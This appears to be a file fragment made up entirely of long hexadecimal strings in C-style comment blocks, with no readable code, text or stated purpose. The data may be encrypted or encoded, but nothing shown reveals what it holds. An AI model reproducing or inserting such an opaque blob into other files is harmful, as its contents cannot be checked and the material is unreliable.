1ea06768e1cec3f793a36117869ac3483495095ee17922463dc33247f9c7bb667a1ce4909104f1f7a8bc34b0a4eafbdedcfb5c5399b6ec6b6e3b00d1fde9712f8cd23d50d4ddf6a2dc2eea44f5b713bebfacd955634642f0032a18972c07ff7fcdb650163f37e40c58386d7e7483d39e4679ce89fbd9abb00281478fd05c7fb164ec4827aa358d563248dbb9477e4e578e385b923782e448d1336decf6feee20c60a98f245e6d7bd074acefb96ca31236c19e532999e9a8e2f2b114ef31efe1c041e36d15902bcb63464c2d2a4b1b36333d77699946d8b4f3179c54a1dd3a38972c38c3de58e701180ac4e9c3949e66d6a264fd34f46d1403a325b7116e3c92b8cbbd4e2d5fe8ce0e3ffe67eeb493e633f5a4bac11a46f26475f11cf29c2f9b381bad8db3632af92e1d4354dd24b7e44892d6d572e1527c4a97fa5af56af4a9c46967f25f93dd1e34a9749a2ba7d1ce919e893aeba882fd6de8c170ac3ded1652b192b8520538136c42d12198c800e378e9b5bad43f433fb75838d0aa80e5a001f7f0d2890264a10504a8b374199677ef0c73f2cad51882b7741afa1d4a40c0409d1730cdb053065b11b63af5b1855af88dd4e2b3b3a0207742d87185dda0138fc98f10f68e634c33961cb5dfd70f467ea5f1767c45a2e7d4f6be68d32de5c41fc8b6e1c6d0bcc5277ba53a846f7184289b5666112cf9683c699dbce899f0def3922a4bc502637b101257f9af7d440dcd05f1f1c108666ac260457fd73f0979d3f8fa68ecaeab697f86aa2a6251969bded34d827d93f8871b0a3505e324ce21bded32a73c7455e02802761842372c459ba8e4a47e1deb80d6b3a63318b0551097d7b8666b8b7214f18767875b337378feec531b0c6c118d1894aa4f14ebf221ed73e69da1cd05606b8acc07f24dc05fdbb488819760265e1ec0785d10984fa4bdfd8e0876d36b8efcb70dcf2d2341f42b4b60d78bf4397cfbc2b6c4be9ea4c481c94f4cac1ed6f9bbf432975e216408aeb75da694d3d05f1638ef458de0138597ae048d3908da775cc15af997e9de3ab3d86457dc1e829deebca347746b25fd758f15943014c2b34480c3666a71d5771495a07969584ccb11584a6de41029e347c108f1582d39af4ef1cd3c0dc6e598a9065c330c96ca0b1929faaeec9feed503b9e9671ce22352a9ae2582638555d97f83dd912b6a200b7f7913ccb4a9dbf8dcb2fffd33bc46cb5a60d1ca110bbe34bf81fe7c6a78560782a9756dafac58958fd3f2d189a7efa44d5546bd130f9a72c87ed19efc8d686e622cd7bd506582a8d05e68f0a123a4c2bbfd67a3d2b3cd0f2ffd96646925e834cfaa79e75bdfd3a77a9d7d592ee4b4e42ada0a7c075ba11bc9f36d006890cdbead78dc14*/
/*8fe610bcd734fe4c30464b7bba43364c2b175722a4f82b84bc464258ee777b1d7d73eebfcb7f107fb0efeee65a11cf5eef918afb5883dd1c9cca2f7f72eb1d8d3041f1fa9b7d24afde35fcd831f5b9d73b6849ead2281d378949e64646d1b9f8f88fdb7b6a8072baa5e071029f14cb6f75172aaa2e18371faa267176c1ebaad19dd97043fdd33eb997de4c81b7509af84655b7f05cc6ce90a13a215e9deec29b9bfcd20a3199f0642036d471743c9c8e06da56c0600b61fdb06dd94d0f6d099327236ad8737d76706f917c5ec2a5e0bf4787a6ffb63846898be658c52ab8aa87a43f2e5b1934a7dcd86a28586e2fff805b34bb64edd19afaeefc0fa984729fd10710a26253383e0a6bdb250f67c4bc903a7c60846211e793cf65e850997c6448552ad8a26ee3eb284ddcf4e8e862b5d4335f7049976e2a881fc6d3d759f08c292088701785d65c54942bfc315f2a0c0deb5551b99c5ea886621c97c75fc5de81bf08ff19defd5568e388c1275ae81cf510584f52c116c115e1eee67d6b417b2f0fc31e27c080e95f70ef6d0a465f55742f31d6618c4e03f2f702f18aa7dc55086c2d58333a1b85f4ce9f5f2ef0c8753dcb05c274214be7c94a8a21a1d2a62b9b3e640301f22c45753dbaf418151c69314cf2a307670e4f6f7c26800d6ce38d5d526e20068f3bd2c453a3f8bce8c621f0a9ba328d2768d47f484e27482bcb175a28bf9498ce329b288756339aaf0f81c465861c212b8da2022a4d7995afc0d82017246fe2a4813b5f369650dd359b31e172512e84ef5445614e345de3699598128371a7c90d045ebdd9cbeaced5856744783c1125d69fa4fa5b5bccb6042f06be8160983671eb97c7655b18f04929a248d8a705d7871ee1f93a2ee1ac812208e982e8133abad14371dd5947b8fe31a522a44c93baabed2e297db0a1333de5a043ab935589813f0de1529033a6042fd7245a30679f5439fa40507659e18c3e386fcdd0c6527199ee62f6a8981dc47d516b557e716c62f84506cf0533e1c9e24dea10ec907511c7b47d37e1e02fea945d27409e64fdee9bda3cbd6de00226acebc51f40fa6bf5aa8d3012b2623a459edd19a9d2a9e18f0ffecafb0bbf7ea31acb5bd68d79cb200809fd5d7024ee21f7b85b5539a740cd90ba721d15ccfd930b5c39624bec1ad4a098cdaada6a409d7d7c872fcee60e85e1adad0421b80599a8b83f1a6c8769abfb9019d0671d164bb7effe7452119cb5830a6478536983edfac87c6f739cbe6b72404bb6b059dc38f57549e6d1d73c28acc1e939c6ac1a0a009751f538d49130f63838434d39649f6be6e237cd71f020ec0a3a515d7ed8a4b342fa791d0f003c66b68a681e0d2b034c70478445d9e9d849d6947e5f20ee74c2cfe2ba47eeddc551e07cbd412332250acf3324fb8a7af97c542cac81813ec187664e165d37941be48dbc69f7227fa40eeec7ef729ec521b0afbfb9c0d2f97080810dbfed2319cfb6b9a6ebcfb69b2877f25ee03958a6b877d3bd8446282f74be115c69502ba7dca3d845837234e962e7269c97e33c45bc4215562474d789bd133f3e615fa8fafa4819fba1d8faf05e7e17cc44af8464ff4f138ef6f28d384ed14d6859575dd399f22e4bd2dc0a8238ad06666dde85f1b46fcb40637c1308b789d9986803b5d836b669e47598d0a8e60b3bf231368c6e9d34c17a1349114c3099725e18da79a5a6e8d8c2de1bce0ccc3ea9561418091fe914f969efae08d408871a55a193b127d713f7d0f449f77da254aa3fe06f02de2ba1557a865081e24d260a4e973fe8db4e46afa3405f5a8267eb6390904622ee73cafb87e8d9d8d2ef2f121d661db03b2de9a8f47b52c76ea7d1bec5362f75b8126f7a4be6192c95ad5697c60d8dcd5215361e4dda1f69be8ace5c8293cccdef7d543d8ce4869a3e4985b86dfafc1e9f6d84424eea3a57d2928ded8cad69f8cd4eba29149e99c2b4ffcc84f6b75c72c601e70f1058ace9cfd4e313cfc8afa680c050c3ddcae5124477fb354b57d3b6c064dfc22a77b32c0071136f9f6ff84adbf66de7916953dcf21570cb80407ea3ef58114025299b91fc7ac05d5cdab76aba47e98a2aca23f859c2e522fc775ab9eeef729e10d89f13f93929d0a2ce1734046fad8e5652daea8e2d33e6346b623118682cbd4f427d81a40fa66b0f2470929de95c195be61a5e6072f9d53d8d65dac1405e244d8ce3cb492acd5116c6aa10b99f9f01294cb0820f7c7b9ae29c7d8a1d472ec94101919766f2555c6d75ff00a55ab10c5008a4e7008a12f89a67c6a54c415332903959a9b9f76530c3e967bb59d1050c12571ed336b9753a7ae7746a0a607f0b5523639261b43178911cc9ed490148d32394467a1a72e82abacddd623af085008784f0d997a517f8c63faa6072f71329e11f2d0152dddd0046768fe8a38bac3400d54fc11a86163c396fbe1d4371ca4f1e90f08f79df31272e5a3af2e35936c30ce1181d927fba9edfe5a6a8d796e84e61609d8ef1748f79b1c1d13fb12debce0054389d1c302bda9b5381623843cd434b6534083cd9c3a7fc75e49f484e5c0b19c3cdba701afa9def54a3287c1c5991bdd236471e5e3a310a686db48c2a39cd801d457123bb5d58349d04c2880db0305429b7b5712e38cb65e8afc93a7d50977541fd54577aa8a41b88c9f59f88bc8ca695950cf7d85550a3ecbcca5565f58539e8b6bf5d0314ea0c72a43a3b78973cdbaec567490a18c004d0d6de0486952f8882493b0ae2029089be2a7bc22a59b864f90025de9e015630e34c38f499eea28288da1b62dcca5403*/
/*8842db690d806feb8bc11ccc67809566098e607e2f8a13996f73e67202e49d465abed96d2075c546bea34ee52cdae379c330d39ff1def3ecd101cdb59131e0721601ea9c7517050bbecfbb0c0c6a8012c2a5dbf55f6bc93537c172deea7a8dd55a15a38c33319ca80629e653d44c9b30dd572d17a99b5a49f9588a720b4be1e11a07e1ef46db2454bba56f12cafd07931cf07b9b2a015fe079d1623d0222e216e52a00e1fc998290fdb264e4bd6e384ab758a3f3ef14f591c356aed9287d3eb3763a394b756c5fc61eba4ec8593845ceb2deee8b36d9a1536112e1143cf31778017e3439d34ea7fb00c74e5de587e957b30a8eb9fe95f5a8de20bc6cd1d738c7e9acebe7eae4e15abc7b054720b2ecd97fe4cec9907eb0ce09e1a9466a6fe01e934820a610b3fe0714aa538e26e1b591105171370ba15848f07af77a362ed0cce0263ed3c33b1855ebadac885dcf7f6a932ad7e4c312a3d6aead654133a3e88bfcfc42f24219603069330ec482cb9e29a1f846e8e68383f911cb9bcacd59e88d22d402bc885730176d6788b44404df64d6f9dcf10f376f5234b2ffd4020d730480a5100222b5b17e9562a82a8cf6a44e6d7838e0125ae27203251af14acb0361545e38d5750f81ae2fb120b85d7697ca5c6fa03a9024da61a1d1ca653bdf220c17ed705a877be810bdb10ceb39a25609ba86bea39028060efad1110b6b23de4cd02c908de23a323ac9e18cd53b02052643f19c57cb7795e0bb97cb256c7cb8cc82b963a003bd979b32ad1861bf89537ebf35e757622337525a50221213fa4b9227639a8b7b54b61d7cea01989b32f48ce490210eff4c77269f80226f13bb79d057aa9570cffea9cf05c31a766d00c682de49febd766875fac6c11cc15977cedc9909502aeb31d5c440c5c4873991020291c458121bcd05a570fd160ff184bfc90303a77ddf75498e98cf571bdf348539c01a5b1759ab10ca3410a1f163348ca7c76856d3dc63e25abdd6941ed700ccecf2a1f26af39f8e4c4c63330d967a98fcae83a12f8f835668492435a8544fcefb1717fea62ea732c3fa8cdf7fd25e71f3af159012f0778315b661a2ed442c3898f58b2fc462ed7bd957079282a1ace3bf07d02bd065a93b2ccb8f401c3124cd8f069fc3bd0bde9f6606b5f7ec587029b4273ec49c0e9d2521cf70e40c6d9b721c4659ac8bfb55c8fb294689d8e8c7b584bf8f3f4187cd6677c73dbee9c174d46da2db07706366021ff316ec1a4424fad76f5b18ab34dba0ff891ff8db855dde0f4923096659a9aa2bd9a2edd21e00269d62ebac26ffc0593187dba4785fe5b328f70680c5d6a6c6fc370df7a45850a7adebd6c1c3c60b019def16bc28de665ea43788008c8f80d2e14110faf595e35433e221f6b7cdea70353a8ba432b5a54a435f2d263706a98c313c39cea69f60a60a24df04b5733fd942b7405de4a17c109c001b210aeff9e097a4dbd5974e86b3237dd56bb9b4aa4fd9ab7befd0eaebd356e6fa8dc2052d2a00f5e197de27d5187fc57a980c9a0af959931d9f7616eb4338709f5dfd4d7916f4c475ac49ec9f26b1ac6452f05f37c30a25129f12b02192aefaa3f3899e546a9aac852bd57734308a73f8e5c64a293b0341a336e322c611c4b009f68ff0d9fe7ac6460473ac6af973d22f5e8f3d66b485922f4e121bfeacb38a4ce0961f2baf31f0ee972934e1058dec44a24b366a6bc85eebb4d333569e6a21a7b4d3746d702233b76478e58e30f6ac6ec03dc3e73f5608517eaed35132f31f8697c8263744b82e3bc0b3c40aa0dd532e2aeff11ac467804a87572db7d210eb36836e494b513f7a6062b2a30b0df46026b9b82251fce80c4d3aa9b207b39e5a18379fc9c0cd225c3205e402c83d0c7f24abe497f8999260ac73ef0e53b1acbf3267b5e9f9252dc3ad575c04109def4a2035f136eff76189b0a39525411329f7fb0352f5d782b5c33599c2f16b7cf84433afea98e46b2250e8f840b3665f180777056e30172207857dba436bc1c943bc5e3bd99dd451ef657563287c1285652b5a76506552dd8d19023943aa9e0dc5ede06a3ea1c221bbd94de15e148713862794f1dab965ad13a8c6719c90fc934277c44ab713ed1511f26e9e6f13865f09cbc4914c0795d891903ce96d9020fbbaa22c0f44a4145e3a0e496fcc855e081e7b1cb5f91bb5a470180fad248061a81f16da464e36082a6430f6c688a9c72b243770907132a17af07183696c11501d8ecf11fff6aea3f587773a720f45935e45cc3baf0eb6173b6d7a759ba19ef521313856b57aab2436c5ab510667ff539b718ff641efd0b90c6aae06a62aa7e9d3eacf1c35bb3ba3597fa33d537d531daa4768219f9bcf58dd4e89b7792f5f361868e173f6373edc9777fed5f54d7d3d7749fd0a10b169d466f72b3dea203e34150a3f03f03b8714c836b5d42b04a53281a93c244be233c604e9893789af71292a22eb8ba94f5e7cb028cf0783425c7fb5010a657e9c1c9eb971a265ab4bfed57e06f1c4abc7acff30eb235aa677423dbd4a17e610c01d690b465db77aee9d8bce7aea97327b124bc07f5df4ecb70c2b640653fa9451836d2a56ab69d561f47ec9d365bd38d003d4f92318aa69b65f94803c6838b9418ca9ba646af0fb3e8513540e0c003d7e0587dcc3dbab506f4493dadd35fef77ba6d3f0b418c0803b5efa4b43331b43ff33cb19dec746de3b8ab2c1a29023c1449e42c4f5dcf7399b7ee4f8f9aa0cd551a92d96f8d28083edc95a9ecf2ca5b98999e5818eb4fdf09ab27dac483dddbbdad0b7b3578a49be648b72e40c*/
/*0ca62626d83c0c38b669ce1dd9bf1e6b6e556b2cd332f598958db27f2dc03d2d5b181c153c3ea09b2ad16b0ef59952a52f955516735095c913d10959367a302d8a3592f664064b9a7fc9d1b4e3a410f3bf9a85668b18eb4d51f1e6fbdce51bab2b02ab228f892081c6be9a799ed1c561e82920e0e2b9a8f5a24b77b63d29ca065ab4a417ce91e2ac413e076fe884f912e3d8327c47bbe1dbe37a46984e4aebeb6c7076bf94c2cfa14be74eefb74241603779ea7c406de40f755a825075697af5ec2dc2f7a914fe1c35f580a96fa28ad3764851632a32cb6cd9d3423582c48078c5e30a70d8430d9ee01c101e5223530bc92368b0acabb0540c57660fb7ed72726e9da94927cf8cba784098be605de2602472eb0af7ef1513a458fc2d01fdaa60626f47aa882c879e005dad34f319e27a1ffe421cc6c633b2e8f2aa383a086e4cf544b55b7fe6f764e94c60334e3339ad2e48b777daa67d425d03086ddf06eb5fdb500d5580ea04e70ad63df6c1097a84d434ca235e9a00476931b049893fc0f4434c93aaeb37ff547938cc0d7adb9d5f598650f0266cd3af40152f0a5b03306fb40b0ffc48c3eb9c27ed9cb4768507ac8c2896bfdc82a6df3b8bbe772c7b4965cb0ef581ee3c63e8ac89b39c8e26d79f5f6a89ec88a2697c96fe47be711252df0bf7dc78fbc96ab292fa47277d302df8622bdf500d0f9ce71be4fa0247e82882ae6637bfafbe318503a27128f8dd79b30a7221637bcde6a8d79c5b387304d2f00bba1fa4c38a3ee2d2882a69f42613e83a85d7591a135e58a13f876f03e4f1caadd3cb2c9cb62fa8d46fd09316e1b034ad228afeb564c8c05a3d308ec42d95aa457b596dccc3fa66027a67757178477db826a96a1e289dee0fde356f964780a3e42faa92aff30de591480702e1c9def651fc1ee52b40b73cb96bfb41983a9fafecf3bfde7d28b5ca83f3134dac68fe8f8fbbcc1c7fe4e527942346d77550042cae81ace76a0d756995a3ae7dad7ae5e6bb02b06cc5f8f34bea6fc9ef14c5fa706cda68aa5a5a686a6101ed9b4f3421537073d171c9b66fff4d488eeeffa8508027099069226c03753c230c9b605a90d6d2ffd0b672cc81df8ed283c2aa2a4ef584e2564dcd2f0333a0608dd3aa838faadfa3b39351b07eb9e0a9ccc1c56c7537de4fcd5de62b48b727007fa6ccc85b63417bb6796649d35e3842cdeba186a8dfc201759779cce113919a3f33e5e34fe965202f4428b1ed542289e1a484b949e3ab01a3daf4783c2a14b3b7dc1518657a1f92cce49102e2dd5a7e9f2a193753e9379eb385bb1fe1d7e101bcc2c6359af11b91fae9379198fdffa1508966c45e9b02dee9ae5fd6806eca66c19ce8c6e018073b3f6a21d503a3b91030302c896df981bcf523d9505ccc66b380c437e0a8e452109be8aae2d0884a6661b1d158de81f2d6aafbbd6830a08045090851aa8bf544967ae072950d5b9c59148d22efcac4cd49d085d4b015b2a781830595585dfed4ed8e25d5f457f07943876e718d741e760899e0d3bf013491087a82fb2548b34260e2a80d3430fc4485e7707d074a98090e10f5d3ab80858292f143ac962e0b3c14bb7e9f88cdae707eb0da79569ad7a65e64055d9a920dd5e95c6693ea7b9babc091c32f0189dda4fe72211ef69209b03951dd7031d674d5f96ac9a20bfb2d33fc4c0992ddf531d1140e87eb51a2de29057b91ff3093d0fbf2d9fcf3ffbe63e77a5dc5aebe75a0b061fa25fd03040729fe3cc624d3a5a672186fcae6db0772ce4904c3aecb0b7ed6bf27c67ec36016788f28e44ffa253231a94726673388d2dbdab9f383ee36fec840fe7058899fc12579bd7fd42dfcf30ce7a9df11c7e4b6901e2046e5586ea0577e735b5c3cc1a14fb780d471a6ea5dfa9f1e9fd0100d6396d125a230eb7077da6f69a908b10bfa8ecd75ee85819d75fb3d5fed4e525c324fda8bafb7d1b1ed2594aec6f1891eebc6c8d90311bcd266c4fb74f448ece11dc76683b2239625a2098394338c27c4559fd5aefa25afb1c4f1e1ee37dd69161ded3ab98b409438d444e09c1ce3226c9beef1a7d50261b80f901dc82b9f985e9c828accb686d4e47bcc651a23fb56a8c9bca3723ee4a09aba5bcd8acfee62eff536bfb4ccc5889debbfa5cbfe79593032ecc25b72e5b9641010ac182a519f3e1ff37e1f77f4d955e9ae43c8792b53db44db964419db77d323ea7fc303d0a4e8f2f610fac466aa279677bdeb9e623398fc9aa60c3a2c74a5be0ef0172284136352c21de21e248487dfa9f88035b522ea453106606f267f9f01c03742313ea59101aef8a1b7e4be8427bab21660d6118f618e1b5eb330e8247ec48161d9de2dfdd4fd8c7e38c32c004a47883a3fa3bc5607d549c7b5b2c90fad0affa116eedcba86170d40a5a77e510d2565067f4f81cb101e9cd14deb98c8400679f22d9ee932f6e59b2662cb90b74761e15a2bc7c45c58237f5c774d8e26c9309b041b42e966a771756a7eeb1579b034d7c4039515737c65c3431483609b3e6ba114067751b878c4ab80038a1175df6b51fa1c6eaa07c9076462f6dc8e18f20b805f76d31b203a17c95321671692236f99e9c63afd2d26c4b010ab0c6331c6cda6a54b14af89267efbd2ae4ada65166414aa7c42602dbe6d3833ebe274e86b69081132c66d5c5e9adaa7c4f509ffbf21058d4b12aa5498b8661dca7e17ba098218f91693493631e1380b64ebe6b48d228090df3bd876f77f5050af339b5310ef8edc6539f0e2e8708c4e50af69c73a5dd8e3b3444babbb13c9a42f5b166f7edd281ecb3c438814*/
/*5d98a114bfc8e3288e5d69f716f3a2377c3d09b1dbaac5b4e19e22b5a685208c162854fe9159c1efcbbd8b37c8ace04b9f045d6276f7b50833cc4df65e3acccab1e66599c9d3aec78af3f1d9410199b31308d7c9b061c0498ebe78f5a4cb2fb8d7fe86a0eeda817e6516e9bdbe45f3fff193988ba3bf969e81000b1302f2c9f096dce2652cb77c7d181b70b6b94a16701b3fd140f260ee9bfe0488c5ded5944130e9e6369b2cc19db1239e92d513831b86e8bd808a7984cf522f3a3c38e37c84b669b8b74d2a14cf73f91793ff2888eff2ad24488742b45ec87ab8f5f62e96e2dff9c4ddbc598c013ecb9ad97ac80b87986faff51f96b0e61660c9a8e48e1b5658b3103aeb4109cbedf2d500c1cd90bc0b69211f4fcd909241c163e527984fa243d67fbfac7bea07d0030b55501a52b067af378fb110adf69aaad947723e7a0b6a82d8a7a3b13060feb2a1a22c21c54c2fb0b569561c48cc35c22615facab88d05f88107af33e70fa1e02fc341f8f48ebc01de7afc2c98fd5887558d55a7813dd71ff461677c6649693cedc597a51f86d02ef1031d3dfa915cb9d094dd6c7f4374b10bb08aa8d61b5d71212c851e663332c4c8a0c804bbb2de42c30cb8fe1f419697d87ed1f0a556ad225a2f8197c453c73b078fc425a61a3b0a0d9db1c27795fb49287b637d477cda563caf24c5d8681326508cc1955cf164aa3c7163706b42570b6afafde9459a2e886cd4ddf907d0038f69466d8a6c62145167e7a8a5d5c735d1ea71b6b0154ad31f71f9c4fe04fada138270d53111e4cc1555438a86e879ba456745d1055ac0e00c523047803357e1ffb232a1c0f6632b3e914fdaddf0b1a8b91ff70da9c007f1f857e51e1c5c1ecb08b83bb1fddee9feea6ad8280811bfaf07d40bfe223141472eaba9253a75be1926685f1eb193ffd8e69850d7bf1ce540e05c8ffdb0375b86387a126ae0c8f89f3b278b609cd0e60454b68ccea83ad83d4f5533fe533fab636aaa2ba3c03359c33b83d2acbec826db887c3b13d54d5b6e8c2cae26b5aa533ec1e7d4ab4ef01c26346a18ebb46a2a065b11f709562384fa7028e7e54ffc2112bb5d20d0d862e97bae8b26508030db06e544ca6651c2dba13b2a44df5200ad7d9fb9adef3872525492d4022e5e9468ad1124a4fa0c064b6fcf6facc58f8ab27299e9c562ef9d04895f3e549df0b36f94ffadfa14ba8b0034b012f3cfb274026cffdd3edea67b42593accf13601c4fbcb925ad49c6bc4e7f69c704ebdba81b7c08c9f7c46bd79f86ac85ca40cb3398865b4f2fb3fb54601d72e264635a8614d72284e53ee86c6bb2f1e137544443587b12f58ebb5865baa87f1aefcb8aa7979fa99e221cd8925e52da7cfdf68e5147b9d7e9511c0c52dcaa747c66c65d5ab3af156b1a1970820c5d0a4a77d3b61acaecb47e3c86787b5fa47fa433b3570c213c934a86fce957296b969ba392d52562ea730f1776368b586199b67c682641b990447197b90d31dc7ba12db13c288f195a9a8c121058549d5d606299ae26b05eed74262019907abab566afc2485b3ceb9bbd1ff52dc4ff9b200c191cde980cf4a19bf2a3777b9f7d703be7421fede93108f2fd280e90578003a6ae56f81835f3b3b63b8e2b2c1448fc442aa7cac4d566870f5031270b4360b13987f926da68aeb4eeb7d2a8136ea0c7cba5a33b90a3ef65c4c3737c94c00c96311abd9f88a6cdbde050e62568245a1125f5215dddecfad7bfbc41e03231e116b009224bb9e4fbaa3ed8a6e9f814875cc6be73748966bfded59bf3b544ea7b0bd953eb0f7b1c2c14beab34cbf89b33d08c67d5a9b3a9aeb04322148f2a947f1295be9a1c834c536ecec335317d2a35fe58b6ecaf29d98321ad631311f9f08b72e198ca379d6aff34c02a3a9f0bc909dcfe973b451a1afde53f95145bbc3148ea9688637e9fb239df215c8dade6ede4aaab6c562160f41a18b7d240eb5076f02585ca78d0eec776d6d977a88b6e789134f35f7732516b5a675157320a5e911ce0381908535b017881376906630d1867a27eb0c06a7246248b8f0c9e4abbccd08e7c21d29520a4275528e0629d48aada67985b47a24415a7d0fb64a7fefa6f2ec14c6de78e55c6d04fb59123292af6417c7153dae511adf6e8854e7dd9da8a6d4fbe57c21bc05f1b408502ed423e3f1b2b2e7c87eaacd8bf829f091b3c82c3854c0ce78aaea94368427086576adfc18c6effc05bcc500b1d32ce79f6c2f993c0a2b0ffe8693bc866a8a1217e3f13e64210d8343d58df07e1fd2c7d60ddabd4576f23250a9974b0bf49f2a25ad3a6499e726dce2ac3ae2d978193b4efd5adba9c68a2b178559744b4fe3394a0bc1e82a0e5a7375947102db3f158363b7d8262459d6a97444060d5fd3aa054954c7f1c1d6c06b641b84da403e2819d53071d1d78aeb6a767c602dddfed169b3103df9c4f1e70cb49999620cd29412fd0550fa041dd716593593c0f3ba8f29ac6f3fd3354f599d7de387696044adea906d5beebe4ff5c2511edb914c249ec3f975a747a324fe7291dce40977be4bc1fde4c22ef13dc25a853d3e486e3359f6f77ec54587d45ae9880edd8c28a031059d1193de8cb156563c84f95a2af2aaa4e352da8a0d1a0e0ea58df15cc5d1b3e52ac9c0e99917848246129c769ed7a4075ad3d82dcf8deb22aaaa568c208d7d5ce0c94f4f2b05faecd8ce1e9cc9b7519f68cd3ebd22061d691601b6623166e3fe599007511dc6fb9e331a4a75cd3f25dcacf1e74ffe53e3a4a4026b90882eddbc6320c74d2ea8dd0dc72e5026881df0a3747d83d2a3fb*/
/*e5c6f690b90981ccb595a6ebd3b18719f79922986becf58dd1e124559ae778a90bb62d7e6618ce03a5de7b4c722c8a934b1aea0d5c92ef3790134ec70bcf4973773081cb39671bb105c87b799da992a8d5cd1e9c7e970a1fce9c3ee2c1965c55d4c43be4ec9fdc92216d804c992004d702d1333a2eb4f37701714098711211dfe0e80a80de50f8e0274c9214942fd407f6202a97d664c97d65c25225560acfa7009f6a9aaf633512bc6cac8b83051e5e8515ea656d10eb8465323017fde3c8a5cdd7ba1a1ff1c36233e235cf124a5d480579e8a02d9877e26161e4c1125db0a90fbee354a039b58ac69ada93f662cf731906432f9fb991bf0b937c27932018d56474c6c9f3d19a580d9236dcbf480d264bb3cabd23e340aab92176742cc28930063ccf37e6bdf9f4036a0965f504a5cbbbe53a1104cc5fcefc0bdd0e4f63e3865f237655958efd6b737a694f88eafa9df092490717ce13706c09cdd9e168cdb991f743d227b361ebc68aaabdf8e3e46eac382798f3051bcce5a11202e9c28a7a253583d872239afa61bbebcb534210f0d33a3f3c1771b980b837cf5c184c62963e666672305c19a1f3da3f1bb494df2598bdf25b092bc87587790d92b25dbfc47b01eae1523cabc0266fff42b2017bb91aaacfcfbc1cc72cd30919eb1bbe6390311575eeb423cded7d162809da1ac9f11b41ea2dd99da2efdadaea93fd7f2fc38c8a0a397d0671ffd232618e40d173c35028ef496d45cf8c87c50a4b41f9df7ad9e81de542cdfbc432ce61925b0256dd51078f2cf19b5901dd0ea43cf28a73f02659e49ee340cccf1d6fd4305c6e2d2b927a580b0713453c2d151a42be61c64666f165d19d2d012fef039f5f39b5bf64d05103542a65d3a3d9aa9793ff6881e8372ee4074ffc4a9f44efb770c02f0e77a1fb71715544be9297e84601ebba2255d1fcae675f7e8c8ecd272823790a974ad4d0ec01aebda6204ad66ae9305b6a0947dc1e2f5dfbe92564acf9c4aec333cb3022cd38faad4fa67b8ec411bad2f2cb046eeeff42ea9b0ef6f2d47e6c69eb553141e7a9d3cb1641febd3964bdf06c13d1a08d5685f0f7e16233bb7a805c003b4cd6fdede436c2d6eae97b68edfcbad53a801cf52b30ec0b801e3f69fd5db6cd48681ccd5ad1526641ed6e9ce36ea72a00cef70ccc0130882cff2dce8081d6a853e013d34e4f2dc6344e71ab6f3577009cc491f12b8bc8846478fcbee4b4fb41e2970557960a44b61450625a64b50eec22a300e927c81ca038f006941bf11f99065d404bbfd6f66964f96fe84211ff6d1e7be0877c2e3cbdb4dd931d01316632ee176797caf41e714b353dd49950ca5c9dd8d94914646e0497bafef3b6ce117cc838df49c1cbe33bccdf893a756d0eb7c95dc75bc74e7ffc567841d6f11ffcab16c98cf6cd8790e81cabb5653817098e2785ec54b27e71219f658de06e287b152ba087f82be57701da1a1666cd6ab64238605a5cb2bbfe0c1e413f74ccfdbfa909a5ed849e483a7cd78d8cd7e463794c728bb75657054bacaf362ca122798bbcbd9cfae6d8c27e98c965c022f857c7f1c267906511e91f3015056198eedd2991da858b20d5aeb414b20d81749e37e8ae37b0c08e719118dbd5a036b5703975357a8c9d9674b5caef9db8d6e6ef65fdea5bb30bc93812c927926b2d66e8731d34d288dce34452ddb85fe6538d922115f0114bc893ebc09cba07dde1cb2aea8e6b66318c9b1b0dcfcfc56f9ec2ac4abb1898689af2c855ce5f54e02c2d58e86362bc7d101596909909a20120b7d054374b8c1ff76de641fd94b6b60829af53c9cc6a04c80b9678fc65ebfbc07f193106a5cf56b5efc1501783c79aa863f11173f32a9ccf1305306662375bf59045bd6d4e221f1c814dd9f56fc933c56266725a7cace4ef9bba4dd1794a2f1c918d2a72dbcf455b75aefdc984278d723a279b1e8cd75071db3be675abfeab206e080b38a5efbbea1f66a8a6963ff06c8d83ead2b87b24ca21582f7e4432826adf7ed2a8e4e7ab31ebaace177b1ad0cdb784ee0f7b72cdb5f2e5376cc05b02684b14a2eb520a3109bdf848fa1ff30480d64e8093c0d4e05a77bbc9dcd1202a7b61b1cdb61c6238a044a2d490513c043d47efc30430e0ed01af48389de7b186b75e4f796ee0aadc41faca91ec4392feec88f04f8f470d253ddfc3cac49299d04ccaaf005e3a8884a9f0def1a0bd0a9b03180fa7686f969f70e59e5a81d8860a35a355e055773f0240b53d1c5ee04291ea6544916da93c1d9eb3a66f90e37154c4162f8410aab627f0b9353f95d3efb936b43f816e6b257dd544a26435a6329fbae44cc86b24fd5b6602b6b4bdd11e7963a301180b43f2dad79738d15d6ef8ac8cf0982df99cd5c4da092c39c96027509a4cca2a03e790c3c177713267e688f193b8c6cd0e2aac561fbe6dda3a766fbe5b870600e0c03034ff40ef64ee2edc4bd0ba67decb4e4b61eae82296edac9c1de9bcbed72f5dfab58ecde4b2d468063520c6a717b8e541bba25f5f33f162e322ab9366ca754ca9c0091427425528e7f35721f1f71af6e8193c3a7ae53e9bf137b8ffdbd6aa19c355b16d858afec9a4c2b88b87bb164f0bc81d6b4f980ab155fda3d930fc35975147e2addadf0b963bed9d20ab26cd8c4d8e64e2b34c71de4059eb62141b40f906d18432413e2c2bb34d0e6d5318e6930a7b33727e3fd555e3f58aa25b9babed51563b6fa47fe31ada19ff3da8a4bf29aeb9ac98a81768d9c80ddd28f0c9ae76996ba2cf8e36a7a0ac84632310498bd6d14c5da76b448354649a698e7eb80a54*/
/*4f3553f3015ad7d6ab8c2ce8086e455d1bfb6afea8cef1dd64c63e976dc823ca0b7ca4a9767c215efeafc6cb2ee4b2ade65068a8f9ee69a7494a621ce3d74b721e18ff232eca43ce64b497d0126b16abb00e4c2696f41000265ad5b8972b6de314dc87eaf04b4344d81b91044ddaea8657b6d4da75841bbafffcb790e9de82321fcf479a6d9a63026c624b9f989b8d2ff560a8629058893068a59ddc9f736d887f0123882aaf0c3a13a713aeaccd3b7fd78f29bbd8a5f2d35f8c36afb6e7575cdaa95e8cc63f6cb536bee93b7f7a2ceaa264efef48ccd6ebb960ffad2ae83d5c90207857bd88c81afad5c92678f5b7f1a4252596f9ba6489a939a958383a3fc9bc0d49e2c0a4cfb561a35d786590e007d1525a56ccaf4197ca57389c2a2f5f9f766ccf9864197514fb516a6096b5e2b67c93cfa06c0ecd58fc76d7d39f19fba939feff65775fc51784a5806d883d26edbc9f47ed182123c6e30c5254a836acc31dc42cfb5ef3a696cab5005b6bfd8522fbd6a1f9f47739c04ccd2eed715adfbf54a0e78b43fddbcf45c23fc55fb8dcf29b50feaec7789b